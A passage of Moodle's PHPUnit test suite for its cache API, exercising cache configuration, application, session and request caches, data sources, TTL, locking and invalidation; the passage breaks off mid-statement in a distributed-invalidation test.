cache_phpunit_dummy_object; use cache_phpunit_dummy_overrideclass; use cache_phpunit_factory; use cache_phpunit_request; use cache_phpunit_session; use cachestore_file; use cachestore_session; use cachestore_static; use core\exception\coding_exception; use core\exception\moodle_exception; /** * PHPunit tests for the cache API * * This file is part of Moodle's cache API, affectionately called MUC. * It contains the components that are requried in order to use caching. * * @package core_cache * @category cache * @copyright 2012 Sam Hemelryk * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * @covers \core_cache\cache */ final class cache_test extends \advanced_testcase { /** * Load required libraries and fixtures. */ public static function setUpBeforeClass(): void { global $CFG; require_once($CFG->dirroot . '/cache/tests/fixtures/lib.php'); require_once($CFG->dirroot . '/cache/tests/fixtures/cache_phpunit_dummy_datasource_versionable.php'); parent::setUpBeforeClass(); } /** * Set things back to the default before each test. */ public function setUp(): void { parent::setUp(); factory::reset(); cache_config_testing::create_default_configuration(); } /** * Final task is to reset the cache system */ public static function tearDownAfterClass(): void { parent::tearDownAfterClass(); factory::reset(); } /** * Check if the $CFG->altcacheconfigpath tests can be run and skip the test if not. * * @throws \PHPUnit\Framework\SkippedTestError if the test is skipped */ protected function skip_if_empty_alt_cache_path(): void { if ((defined('TEST_CACHE_USING_ALT_CACHE_CONFIG_PATH') && TEST_CACHE_USING_ALT_CACHE_CONFIG_PATH)) { if (!empty($CFG->altcacheconfigpath)) { // We can't run this test as it requires us to delete the cache configuration script which we just // cant do with a custom path in play. $this->markTestSkipped('Skipped testing cache disable functionality as alt cache path is being used.'); } } } /** * Returns the expected application cache store. * * @return string */ protected function get_expected_application_store(): string { global $CFG; $expected = cachestore_file::class; // Verify if we are using any of the available ways to use a different application store within tests. if (!defined('TEST_CACHE_USING_APPLICATION_STORE') || empty(TEST_CACHE_USING_ALT_CACHE_CONFIG_PATH)) { return $expected; } if (preg_match('#[a-zA-Z][a-zA-Z0-9_]*#', TEST_CACHE_USING_APPLICATION_STORE)) { // 1st way. Using some of the testing servers. $expected = 'cachestore_' . (string) TEST_CACHE_USING_APPLICATION_STORE; } else if (!empty($CFG->altcacheconfigpath)) { // 2nd way. Using an alternative configuration. $defaultstores = helper::get_stores_suitable_for_mode_default(); $instance = config::instance(); // Iterate over defined mode mappings until we get an application one not being the default. foreach ($instance->get_mode_mappings() as $mapping) { // If the store is not for application mode, ignore. if ($mapping['mode'] !== store::MODE_APPLICATION) { continue; } // If the store matches some default mapping store name, ignore. if (array_key_exists($mapping['store'], $defaultstores)) { if (!empty($defaultstores[$mapping['store']]['default'])) { continue; } } // Arrived here, have found an application mode store not being the default mapped one (file), // that's the one we are using in the configuration for sure. $expected = 'cachestore_' . $mapping['store']; } } return $expected; } /** * Tests cache configuration */ public function test_cache_config(): void { global $CFG; $this->skip_if_empty_alt_cache_path(); $instance = config::instance(); $this->assertInstanceOf(cache_config_testing::class, $instance); $this->assertTrue(cache_config_testing::config_file_exists()); $stores = $instance->get_all_stores(); $this->assertCount(3, $stores); foreach ($stores as $name => $store) { // Check its an array. $this->assertIsArray($store); // Check the name is the key. $this->assertEquals($name, $store['name']); // Check that it has been declared default. $this->assertTrue($store['default']); // Required attributes = name + plugin + configuration + modes + features. $this->assertArrayHasKey('name', $store); $this->assertArrayHasKey('plugin', $store); $this->assertArrayHasKey('configuration', $store); $this->assertArrayHasKey('modes', $store); $this->assertArrayHasKey('features', $store); } $modemappings = $instance->get_mode_mappings(); $this->assertCount(3, $modemappings); $modes = [ store::MODE_APPLICATION => false, store::MODE_SESSION => false, store::MODE_REQUEST => false, ]; foreach ($modemappings as $mapping) { // We expect 3 properties. $this->assertCount(3, $mapping); // Required attributes = mode + store. $this->assertArrayHasKey('mode', $mapping); $this->assertArrayHasKey('store', $mapping); // Record the mode. $modes[$mapping['mode']] = true; } // Must have the default 3 modes and no more. $this->assertCount(3, $mapping); foreach ($modes as $mode) { $this->assertTrue($mode); } $definitions = $instance->get_definitions(); // The event invalidation definition is required for the cache API and must be there. $this->assertArrayHasKey('core/eventinvalidation', $definitions); $definitionmappings = $instance->get_definition_mappings(); foreach ($definitionmappings as $mapping) { // Required attributes = definition + store. $this->assertArrayHasKey('definition', $mapping); $this->assertArrayHasKey('store', $mapping); } } /** * Tests for cache keys that would break on windows. */ public function test_windows_nasty_keys(): void { $instance = cache_config_testing::instance(); $instance->phpunit_add_definition('phpunit/windowskeytest', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'windowskeytest', 'simplekeys' => true, 'simpledata' => true, ]); $cache = cache::make('phpunit', 'windowskeytest'); $this->assertTrue($cache->set('contest', 'test data 1')); $this->assertEquals('test data 1', $cache->get('contest')); } /** * Tests set_identifiers fails post cache creation. * * set_identifiers cannot be called after initial cache instantiation, as you need to create a difference cache. */ public function test_set_identifiers(): void { $instance = cache_config_testing::instance(); $instance->phpunit_add_definition('phpunit/identifier', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'identifier', 'simplekeys' => true, 'simpledata' => true, 'staticacceleration' => true, ]); $cache = cache::make('phpunit', 'identifier', ['area']); $this->assertTrue($cache->set('contest', 'test data 1')); $this->assertEquals('test data 1', $cache->get('contest')); $this->expectException(coding_exception::class); $cache->set_identifiers([]); } /** * Tests the default application cache */ public function test_default_application_cache(): void { $cache = cache::make_from_params(store::MODE_APPLICATION, 'phpunit', 'applicationtest'); $this->assertInstanceOf(application_cache::class, $cache); $this->run_on_cache($cache); $instance = cache_config_testing::instance(); $instance->phpunit_add_definition('phpunit/test_default_application_cache', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'test_default_application_cache', 'staticacceleration' => true, 'staticaccelerationsize' => 1, ]); $cache = cache::make('phpunit', 'test_default_application_cache'); $this->assertInstanceOf(application_cache::class, $cache); $this->run_on_cache($cache); } /** * Tests the default session cache */ public function test_default_session_cache(): void { $cache = cache::make_from_params(store::MODE_SESSION, 'phpunit', 'applicationtest'); $this->assertInstanceOf(session_cache::class, $cache); $this->run_on_cache($cache); } /** * Tests the default request cache */ public function test_default_request_cache(): void { $cache = cache::make_from_params(store::MODE_REQUEST, 'phpunit', 'applicationtest'); $this->assertInstanceOf(request_cache::class, $cache); $this->run_on_cache($cache); } /** * Tests using a cache system when there are no stores available (who knows what the admin did to achieve this). */ public function test_on_cache_without_store(): void { $instance = cache_config_testing::instance(); $instance->phpunit_add_definition('phpunit/nostoretest1', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'nostoretest1', ]); $instance->phpunit_add_definition('phpunit/nostoretest2', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'nostoretest2', 'staticacceleration' => true, ]); $instance->phpunit_remove_stores(); $cache = cache::make('phpunit', 'nostoretest1'); $this->run_on_cache($cache); $cache = cache::make('phpunit', 'nostoretest2'); $this->run_on_cache($cache); } /** * Runs a standard series of access and use tests on a cache instance. * * This function is great because we can use it to ensure all of the loaders perform exactly the same way. * * @param loader_interface $cache */ protected function run_on_cache(loader_interface $cache) { $key = 'contestkey'; $datascalars = ['test data', null]; $dataarray = ['contest' => 'data', 'part' => 'two']; $dataobject = (object)$dataarray; foreach ($datascalars as $datascalar) { $this->assertTrue($cache->purge()); // Check all read methods. $this->assertFalse($cache->get($key)); $this->assertFalse($cache->has($key)); $result = $cache->get_many([$key]); $this->assertCount(1, $result); $this->assertFalse(reset($result)); $this->assertFalse($cache->has_any([$key])); $this->assertFalse($cache->has_all([$key])); // Set the data. $this->assertTrue($cache->set($key, $datascalar)); // Setting it more than once should be permitted. $this->assertTrue($cache->set($key, $datascalar)); // Recheck the read methods. $this->assertEquals($datascalar, $cache->get($key)); $this->assertTrue($cache->has($key)); $result = $cache->get_many([$key]); $this->assertCount(1, $result); $this->assertEquals($datascalar, reset($result)); $this->assertTrue($cache->has_any([$key])); $this->assertTrue($cache->has_all([$key])); // Delete it. $this->assertTrue($cache->delete($key)); // Check its gone. $this->assertFalse($cache->get($key)); $this->assertFalse($cache->has($key)); } // Test arrays. $this->assertTrue($cache->set($key, $dataarray)); $this->assertEquals($dataarray, $cache->get($key)); // Test objects. $this->assertTrue($cache->set($key, $dataobject)); $this->assertEquals($dataobject, $cache->get($key)); $starttime = microtime(true); $specobject = new cache_phpunit_dummy_object('red', 'blue', $starttime); $this->assertTrue($cache->set($key, $specobject)); $result = $cache->get($key); $this->assertInstanceOf(cache_phpunit_dummy_object::class, $result); $this->assertEquals('red_ptc_wfc', $result->property1); $this->assertEquals('blue_ptc_wfc', $result->property2); $this->assertGreaterThan($starttime, $result->propertytime); // Test array of objects. $specobject = new cache_phpunit_dummy_object('red', 'blue', $starttime); $data = new cacheable_object_array([ clone($specobject), clone($specobject), clone($specobject), ]); $this->assertTrue($cache->set($key, $data)); $result = $cache->get($key); $this->assertInstanceOf(cacheable_object_array::class, $result); $this->assertCount(3, $data); foreach ($result as $item) { $this->assertInstanceOf(cache_phpunit_dummy_object::class, $item); $this->assertEquals('red_ptc_wfc', $item->property1); $this->assertEquals('blue_ptc_wfc', $item->property2); // Ensure that wake from cache is called in all cases. $this->assertGreaterThan($starttime, $item->propertytime); } // Test set many. $cache->set_many(['key1' => 'data1', 'key2' => 'data2', 'key3' => null]); $this->assertEquals('data1', $cache->get('key1')); $this->assertEquals('data2', $cache->get('key2')); $this->assertEquals(null, $cache->get('key3')); $this->assertTrue($cache->delete('key1')); $this->assertTrue($cache->delete('key2')); $this->assertTrue($cache->delete('key3')); $cache->set_many([ 'key1' => [1, 2, 3], 'key2' => [3, 2, 1], ]); $this->assertIsArray($cache->get('key1')); $this->assertIsArray($cache->get('key2')); $this->assertCount(3, $cache->get('key1')); $this->assertCount(3, $cache->get('key2')); $this->assertIsArray($cache->get_many(['key1', 'key2'])); $this->assertCount(2, $cache->get_many(['key1', 'key2'])); $this->assertEquals(2, $cache->delete_many(['key1', 'key2'])); // Test delete many. $this->assertTrue($cache->set('key1', 'data1')); $this->assertTrue($cache->set('key2', 'data2')); $this->assertTrue($cache->set('key3', null)); $this->assertEquals('data1', $cache->get('key1')); $this->assertEquals('data2', $cache->get('key2')); $this->assertEquals(null, $cache->get('key3')); $this->assertEquals(3, $cache->delete_many(['key1', 'key2', 'key3'])); $this->assertFalse($cache->get('key1')); $this->assertFalse($cache->get('key2')); $this->assertFalse($cache->get('key3')); // Quick reference test. $obj = new \stdClass(); $obj->key = 'value'; $ref =& $obj; $this->assertTrue($cache->set('obj', $obj)); $obj->key = 'eulav'; $var = $cache->get('obj'); $this->assertInstanceOf(\stdClass::class, $var); $this->assertEquals('value', $var->key); $ref->key = 'eulav'; $var = $cache->get('obj'); $this->assertInstanceOf(\stdClass::class, $var); $this->assertEquals('value', $var->key); $this->assertTrue($cache->delete('obj')); // Deep reference test. $obj1 = new \stdClass(); $obj1->key = 'value'; $obj2 = new \stdClass(); $obj2->key = 'test'; $obj3 = new \stdClass(); $obj3->key = 'pork'; $obj1->subobj =& $obj2; $obj2->subobj =& $obj3; $this->assertTrue($cache->set('obj', $obj1)); $obj1->key = 'eulav'; $obj2->key = 'tset'; $obj3->key = 'krop'; $var = $cache->get('obj'); $this->assertInstanceOf(\stdClass::class, $var); $this->assertEquals('value', $var->key); $this->assertInstanceOf(\stdClass::class, $var->subobj); $this->assertEquals('test', $var->subobj->key); $this->assertInstanceOf(\stdClass::class, $var->subobj->subobj); $this->assertEquals('pork', $var->subobj->subobj->key); $this->assertTrue($cache->delete('obj')); // Death reference test... basically we don't want this to die. $obj = new \stdClass(); $obj->key = 'value'; $obj->self =& $obj; $this->assertTrue($cache->set('obj', $obj)); $var = $cache->get('obj'); $this->assertInstanceOf(\stdClass::class, $var); $this->assertEquals('value', $var->key); // Reference test after retrieve. $obj = new \stdClass(); $obj->key = 'value'; $this->assertTrue($cache->set('obj', $obj)); $var1 = $cache->get('obj'); $this->assertInstanceOf(\stdClass::class, $var1); $this->assertEquals('value', $var1->key); $var1->key = 'eulav'; $this->assertEquals('eulav', $var1->key); $var2 = $cache->get('obj'); $this->assertInstanceOf(\stdClass::class, $var2); $this->assertEquals('value', $var2->key); $this->assertTrue($cache->delete('obj')); // Death reference test on get_many... basically we don't want this to die. $obj = new \stdClass(); $obj->key = 'value'; $obj->self =& $obj; $this->assertEquals(1, $cache->set_many(['obj' => $obj])); $var = $cache->get_many(['obj']); $this->assertInstanceOf(\stdClass::class, $var['obj']); $this->assertEquals('value', $var['obj']->key); // Reference test after retrieve. $obj = new \stdClass(); $obj->key = 'value'; $this->assertEquals(1, $cache->set_many(['obj' => $obj])); $var1 = $cache->get_many(['obj']); $this->assertInstanceOf(\stdClass::class, $var1['obj']); $this->assertEquals('value', $var1['obj']->key); $var1['obj']->key = 'eulav'; $this->assertEquals('eulav', $var1['obj']->key); $var2 = $cache->get_many(['obj']); $this->assertInstanceOf(\stdClass::class, $var2['obj']); $this->assertEquals('value', $var2['obj']->key); $this->assertTrue($cache->delete('obj')); // Test strictness exceptions. try { $cache->get('exception', MUST_EXIST); $this->fail('Exception expected from cache::get using MUST_EXIST'); } catch (\Exception $e) { $this->assertTrue(true); } try { $cache->get_many(['exception1', 'exception2'], MUST_EXIST); $this->fail('Exception expected from cache::get_many using MUST_EXIST'); } catch (\Exception $e) { $this->assertTrue(true); } $cache->set('test', 'test'); try { $cache->get_many(['test', 'exception'], MUST_EXIST); $this->fail('Exception expected from cache::get_many using MUST_EXIST'); } catch (\Exception $e) { $this->assertTrue(true); } } /** * Tests a definition using a data loader */ public function test_definition_data_loader(): void { $instance = cache_config_testing::instance(); $instance->phpunit_add_definition('phpunit/datasourcetest', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'datasourcetest', 'datasource' => 'cache_phpunit_dummy_datasource', 'datasourcefile' => 'cache/tests/fixtures/lib.php', ]); $cache = cache::make('phpunit', 'datasourcetest'); $this->assertInstanceOf(application_cache::class, $cache); // Purge it to be sure. $this->assertTrue($cache->purge()); // It won't be there yet. $this->assertFalse($cache->has('Test')); // It should load it ;). $this->assertTrue($cache->has('Test', true)); // Purge it to be sure. $this->assertTrue($cache->purge()); $this->assertEquals('Test has no value really.', $cache->get('Test')); // Test multiple values. $this->assertTrue($cache->purge()); $this->assertTrue($cache->set('b', 'B')); $result = $cache->get_many(['a', 'b', 'c']); $this->assertIsArray($result); $this->assertCount(3, $result); $this->assertArrayHasKey('a', $result); $this->assertArrayHasKey('b', $result); $this->assertArrayHasKey('c', $result); $this->assertEquals('a has no value really.', $result['a']); $this->assertEquals('B', $result['b']); $this->assertEquals('c has no value really.', $result['c']); } /** * Tests a definition using a data loader with versioned keys. */ public function test_definition_data_loader_versioned(): void { // Create two definitions, one using a non-versionable data source and the other using // a versionable one. $instance = cache_config_testing::instance(); $instance->phpunit_add_definition('phpunit/datasourcetest1', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'datasourcetest1', 'datasource' => 'cache_phpunit_dummy_datasource', 'datasourcefile' => 'cache/tests/fixtures/lib.php', ]); $instance->phpunit_add_definition('phpunit/datasourcetest2', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'datasourcetest2', 'datasource' => \cache_phpunit_dummy_datasource_versionable::class, 'datasourcefile' => 'cache/tests/fixtures/lib.php', ]); // The first data source works for normal 'get'. $cache1 = cache::make('phpunit', 'datasourcetest1'); $this->assertEquals('Frog has no value really.', $cache1->get('Frog')); // But it doesn't work for get_versioned. try { $cache1->get_versioned('zombie', 1); $this->fail(); } catch (coding_exception $e) { $this->assertStringContainsString('Data source is not versionable', $e->getMessage()); } // The second data source works for get_versioned. Set up the datasource first. $cache2 = cache::make('phpunit', 'datasourcetest2'); $datasource = \cache_phpunit_dummy_datasource_versionable::get_last_instance(); $datasource->has_value('frog', 3, 'Kermit'); // Check data with no value. $this->assertFalse($cache2->get_versioned('zombie', 1)); // Check data with value in datastore of required version. $result = $cache2->get_versioned('frog', 3, IGNORE_MISSING, $actualversion); $this->assertEquals('Kermit', $result); $this->assertEquals(3, $actualversion); // Check when the datastore doesn't have required version. $this->assertFalse($cache2->get_versioned('frog', 4)); } /** * Tests a definition using an overridden loader */ public function test_definition_overridden_loader(): void { $instance = cache_config_testing::instance(); $instance->phpunit_add_definition('phpunit/overridetest', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'overridetest', 'overrideclass' => 'cache_phpunit_dummy_overrideclass', 'overrideclassfile' => 'cache/tests/fixtures/lib.php', ]); $cache = cache::make('phpunit', 'overridetest'); $this->assertInstanceOf(cache_phpunit_dummy_overrideclass::class, $cache); $this->assertInstanceOf(application_cache::class, $cache); // Purge it to be sure. $this->assertTrue($cache->purge()); // It won't be there yet. $this->assertFalse($cache->has('Test')); // Add it. $this->assertTrue($cache->set('Test', 'Test has no value really.')); // Check its there. $this->assertEquals('Test has no value really.', $cache->get('Test')); } /** * Test the mappingsonly setting. */ public function test_definition_mappings_only(): void { /** @var cache_config_testing $instance */ $instance = cache_config_testing::instance(); $instance->phpunit_add_definition('phpunit/mappingsonly', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'mappingsonly', 'mappingsonly' => true, ], false); $instance->phpunit_add_definition('phpunit/nonmappingsonly', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'nonmappingsonly', 'mappingsonly' => false, ], false); $cacheonly = cache::make('phpunit', 'mappingsonly'); $this->assertInstanceOf(application_cache::class, $cacheonly); $this->assertInstanceOf(dummy_cachestore::class, $cacheonly->get_store()); $expected = $this->get_expected_application_store(); $cachenon = cache::make('phpunit', 'nonmappingsonly'); $this->assertInstanceOf(application_cache::class, $cachenon); $this->assertInstanceOf($expected, $cachenon->get_store()); } /** * Test a very basic definition. */ public function test_definition(): void { $instance = cache_config_testing::instance(); $instance->phpunit_add_definition('phpunit/test', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'test', ]); $cache = cache::make('phpunit', 'test'); $this->assertTrue($cache->set('testkey1', 'test data 1')); $this->assertEquals('test data 1', $cache->get('testkey1')); $this->assertTrue($cache->set('testkey2', 'test data 2')); $this->assertEquals('test data 2', $cache->get('testkey2')); } /** * Test a definition using the simple keys. */ public function test_definition_simplekeys(): void { $instance = cache_config_testing::instance(); $instance->phpunit_add_definition('phpunit/simplekeytest', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'simplekeytest', 'simplekeys' => true, ]); $cache = cache::make('phpunit', 'simplekeytest'); $this->assertTrue($cache->set('testkey1', 'test data 1')); $this->assertEquals('test data 1', $cache->get('testkey1')); $this->assertTrue($cache->set('testkey2', 'test data 2')); $this->assertEquals('test data 2', $cache->get('testkey2')); $cache->purge(); $this->assertTrue($cache->set('1', 'test data 1')); $this->assertEquals('test data 1', $cache->get('1')); $this->assertTrue($cache->set('2', 'test data 2')); $this->assertEquals('test data 2', $cache->get('2')); } /** * Test a negative TTL on an application cache. */ public function test_application_ttl_negative(): void { $instance = cache_config_testing::instance(); $instance->phpunit_add_definition('phpunit/ttltest', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'ttltest', 'ttl' => -86400, // Set to a day in the past to be extra sure. ]); $cache = cache::make('phpunit', 'ttltest'); $this->assertInstanceOf(application_cache::class, $cache); // Purge it to be sure. $this->assertTrue($cache->purge()); // It won't be there yet. $this->assertFalse($cache->has('Test')); // Set it now. $this->assertTrue($cache->set('Test', 'Test')); // Check its not there. $this->assertFalse($cache->has('Test')); // Double check by trying to get it. $this->assertFalse($cache->get('Test')); // Test with multiple keys. $this->assertEquals(3, $cache->set_many(['a' => 'A', 'b' => 'B', 'c' => 'C'])); $result = $cache->get_many(['a', 'b', 'c']); $this->assertIsArray($result); $this->assertCount(3, $result); $this->assertArrayHasKey('a', $result); $this->assertArrayHasKey('b', $result); $this->assertArrayHasKey('c', $result); $this->assertFalse($result['a']); $this->assertFalse($result['b']); $this->assertFalse($result['c']); // Test with multiple keys including missing ones. $result = $cache->get_many(['a', 'c', 'e']); $this->assertIsArray($result); $this->assertCount(3, $result); $this->assertArrayHasKey('a', $result); $this->assertArrayHasKey('c', $result); $this->assertArrayHasKey('e', $result); $this->assertFalse($result['a']); $this->assertFalse($result['c']); $this->assertFalse($result['e']); } /** * Test a positive TTL on an application cache. */ public function test_application_ttl_positive(): void { $instance = cache_config_testing::instance(); $instance->phpunit_add_definition('phpunit/ttltest', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'ttltest', 'ttl' => 86400, // Set to a day in the future to be extra sure. ]); $cache = cache::make('phpunit', 'ttltest'); $this->assertInstanceOf(application_cache::class, $cache); // Purge it to be sure. $this->assertTrue($cache->purge()); // It won't be there yet. $this->assertFalse($cache->has('Test')); // Set it now. $this->assertTrue($cache->set('Test', 'Test')); // Check its there. $this->assertTrue($cache->has('Test')); // Double check by trying to get it. $this->assertEquals('Test', $cache->get('Test')); // Test with multiple keys. $this->assertEquals(3, $cache->set_many(['a' => 'A', 'b' => 'B', 'c' => 'C'])); $result = $cache->get_many(['a', 'b', 'c']); $this->assertIsArray($result); $this->assertCount(3, $result); $this->assertArrayHasKey('a', $result); $this->assertArrayHasKey('b', $result); $this->assertArrayHasKey('c', $result); $this->assertEquals('A', $result['a']); $this->assertEquals('B', $result['b']); $this->assertEquals('C', $result['c']); // Test with multiple keys including missing ones. $result = $cache->get_many(['a', 'c', 'e']); $this->assertIsArray($result); $this->assertCount(3, $result); $this->assertArrayHasKey('a', $result); $this->assertArrayHasKey('c', $result); $this->assertArrayHasKey('e', $result); $this->assertEquals('A', $result['a']); $this->assertEquals('C', $result['c']); $this->assertEquals(false, $result['e']); } /** * Test a negative TTL on an session cache. */ public function test_session_ttl_positive(): void { $instance = cache_config_testing::instance(); $instance->phpunit_add_definition('phpunit/ttltest', [ 'mode' => store::MODE_SESSION, 'component' => 'phpunit', 'area' => 'ttltest', 'ttl' => 86400, // Set to a day in the future to be extra sure. ]); $cache = cache::make('phpunit', 'ttltest'); $this->assertInstanceOf(session_cache::class, $cache); // Purge it to be sure. $this->assertTrue($cache->purge()); // It won't be there yet. $this->assertFalse($cache->has('Test')); // Set it now. $this->assertTrue($cache->set('Test', 'Test')); // Check its there. $this->assertTrue($cache->has('Test')); // Double check by trying to get it. $this->assertEquals('Test', $cache->get('Test')); // Test with multiple keys. $this->assertEquals(3, $cache->set_many(['a' => 'A', 'b' => 'B', 'c' => 'C'])); $result = $cache->get_many(['a', 'b', 'c']); $this->assertIsArray($result); $this->assertCount(3, $result); $this->assertArrayHasKey('a', $result); $this->assertArrayHasKey('b', $result); $this->assertArrayHasKey('c', $result); $this->assertEquals('A', $result['a']); $this->assertEquals('B', $result['b']); $this->assertEquals('C', $result['c']); // Test with multiple keys including missing ones. $result = $cache->get_many(['a', 'c', 'e']); $this->assertIsArray($result); $this->assertCount(3, $result); $this->assertArrayHasKey('a', $result); $this->assertArrayHasKey('c', $result); $this->assertArrayHasKey('e', $result); $this->assertEquals('A', $result['a']); $this->assertEquals('C', $result['c']); $this->assertEquals(false, $result['e']); } /** * Tests manual locking operations on an application cache */ public function test_application_manual_locking(): void { $instance = cache_config_testing::instance(); $instance->phpunit_add_definition('phpunit/lockingtest', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'lockingtest', ]); // Configure the lock timeout so the test doesn't take too long to run. $instance->phpunit_edit_store_config('default_application', ['lockwait' => 2]); $cache1 = cache::make('phpunit', 'lockingtest'); $cache2 = clone($cache1); $this->assertTrue($cache1->set('testkey', 'test data')); $this->assertTrue($cache2->set('testkey', 'test data')); $cache1->acquire_lock('testkey'); try { $cache2->acquire_lock('testkey'); $this->fail(); } catch (moodle_exception $e) { // Check the right exception message, and debug info mentions the store type. $this->assertMatchesRegularExpression( '~Unable to acquire a lock.*cachestore_file.*~', $e->getMessage() ); } $this->assertTrue($cache1->check_lock_state('testkey')); $this->assertFalse($cache2->check_lock_state('testkey')); $this->assertTrue($cache1->release_lock('testkey')); $this->assertFalse($cache2->release_lock('testkey')); $this->assertTrue($cache1->set('testkey', 'test data')); $this->assertTrue($cache2->set('testkey', 'test data')); } /** * Tests application cache event invalidation */ public function test_application_event_invalidation(): void { $instance = cache_config_testing::instance(); $instance->phpunit_add_definition('phpunit/eventinvalidationtest', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'eventinvalidationtest', 'invalidationevents' => [ 'crazyevent', ], ]); $cache = cache::make('phpunit', 'eventinvalidationtest'); $this->assertTrue($cache->set('testkey1', 'test data 1')); $this->assertEquals('test data 1', $cache->get('testkey1')); $this->assertTrue($cache->set('testkey2', 'test data 2')); $this->assertEquals('test data 2', $cache->get('testkey2')); // Test invalidating a single entry. helper::invalidate_by_event('crazyevent', ['testkey1']); $this->assertFalse($cache->get('testkey1')); $this->assertEquals('test data 2', $cache->get('testkey2')); $this->assertTrue($cache->set('testkey1', 'test data 1')); // Test invalidating both entries. helper::invalidate_by_event('crazyevent', ['testkey1', 'testkey2']); $this->assertFalse($cache->get('testkey1')); $this->assertFalse($cache->get('testkey2')); } /** * Tests session cache event invalidation */ public function test_session_event_invalidation(): void { $instance = cache_config_testing::instance(); $instance->phpunit_add_definition('phpunit/test_session_event_invalidation', [ 'mode' => store::MODE_SESSION, 'component' => 'phpunit', 'area' => 'test_session_event_invalidation', 'invalidationevents' => [ 'crazyevent', ], ]); $cache = cache::make('phpunit', 'test_session_event_invalidation'); $this->assertInstanceOf(session_cache::class, $cache); $this->assertTrue($cache->set('testkey1', 'test data 1')); $this->assertEquals('test data 1', $cache->get('testkey1')); $this->assertTrue($cache->set('testkey2', 'test data 2')); $this->assertEquals('test data 2', $cache->get('testkey2')); // Test invalidating a single entry. helper::invalidate_by_event('crazyevent', ['testkey1']); $this->assertFalse($cache->get('testkey1')); $this->assertEquals('test data 2', $cache->get('testkey2')); $this->assertTrue($cache->set('testkey1', 'test data 1')); // Test invalidating both entries. helper::invalidate_by_event('crazyevent', ['testkey1', 'testkey2']); $this->assertFalse($cache->get('testkey1')); $this->assertFalse($cache->get('testkey2')); } /** * Tests application cache definition invalidation */ public function test_application_definition_invalidation(): void { $instance = cache_config_testing::instance(); $instance->phpunit_add_definition('phpunit/definitioninvalidation', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'definitioninvalidation', ]); $cache = cache::make('phpunit', 'definitioninvalidation'); $this->assertTrue($cache->set('testkey1', 'test data 1')); $this->assertEquals('test data 1', $cache->get('testkey1')); $this->assertTrue($cache->set('testkey2', 'test data 2')); $this->assertEquals('test data 2', $cache->get('testkey2')); helper::invalidate_by_definition('phpunit', 'definitioninvalidation', [], 'testkey1'); $this->assertFalse($cache->get('testkey1')); $this->assertEquals('test data 2', $cache->get('testkey2')); $this->assertTrue($cache->set('testkey1', 'test data 1')); helper::invalidate_by_definition('phpunit', 'definitioninvalidation', [], ['testkey1']); $this->assertFalse($cache->get('testkey1')); $this->assertEquals('test data 2', $cache->get('testkey2')); $this->assertTrue($cache->set('testkey1', 'test data 1')); helper::invalidate_by_definition('phpunit', 'definitioninvalidation', [], ['testkey1', 'testkey2']); $this->assertFalse($cache->get('testkey1')); $this->assertFalse($cache->get('testkey2')); } /** * Tests session cache definition invalidation */ public function test_session_definition_invalidation(): void { $instance = cache_config_testing::instance(); $instance->phpunit_add_definition('phpunit/test_session_definition_invalidation', [ 'mode' => store::MODE_SESSION, 'component' => 'phpunit', 'area' => 'test_session_definition_invalidation', ]); $cache = cache::make('phpunit', 'test_session_definition_invalidation'); $this->assertInstanceOf(session_cache::class, $cache); $this->assertTrue($cache->set('testkey1', 'test data 1')); $this->assertEquals('test data 1', $cache->get('testkey1')); $this->assertTrue($cache->set('testkey2', 'test data 2')); $this->assertEquals('test data 2', $cache->get('testkey2')); helper::invalidate_by_definition('phpunit', 'test_session_definition_invalidation', [], 'testkey1'); $this->assertFalse($cache->get('testkey1')); $this->assertEquals('test data 2', $cache->get('testkey2')); $this->assertTrue($cache->set('testkey1', 'test data 1')); helper::invalidate_by_definition( 'phpunit', 'test_session_definition_invalidation', [], ['testkey1'] ); $this->assertFalse($cache->get('testkey1')); $this->assertEquals('test data 2', $cache->get('testkey2')); $this->assertTrue($cache->set('testkey1', 'test data 1')); helper::invalidate_by_definition( 'phpunit', 'test_session_definition_invalidation', [], ['testkey1', 'testkey2'] ); $this->assertFalse($cache->get('testkey1')); $this->assertFalse($cache->get('testkey2')); } /** * Tests application cache event invalidation over a distributed setup. */ public function test_distributed_application_event_invalidation(): void { global $CFG; // This is going to be an intense wee test. // We need to add data the to cache, invalidate it by event, manually force it back without MUC knowing to simulate a // disconnected/distributed setup (think load balanced server using local cache), instantiate the cache again and finally // check that it is not picked up. $instance = cache_config_testing::instance(); $instance->phpunit_add_definition('phpunit/eventinvalidationtest', [ 'mode' => store::MODE_APPLICATION, 'component' => 'phpunit', 'area' => 'eventinvalidationtest', 'simplekeys' => true, 'simpledata' => true, 'invalidationevents' => [ 'crazyevent', ], ]); $cache = cache::make('phpunit', 'eventinvalidationtest'); $this->assertTrue($cache->set('testkey1', 'test data 1')); $this->assertEquals('test data 1', $cache->get('testkey1')); helper::invalidate_by_event('crazyevent', ['testkey1']); $this->assertFalse($cache->get('testkey1')); // OK data added, data invalidated, and invalidation time has been set. // Now we need to manually add back the data and adjust the invalidation time. $hash = md5(store::MODE_APPLICATION . '/phpunit/eventinvalidationtest/' . $CFG->wwwroot . 'phpunit'); $timefile = $CFG->dataroot . "/cache/cachestore_file/default_application/phpunit_eventinvalidationtest/las-cache/lastinvalidation-$hash.cache"; // Make sure the file is correct. $this->assertTrue(file_exists($timefile)); $timecont = 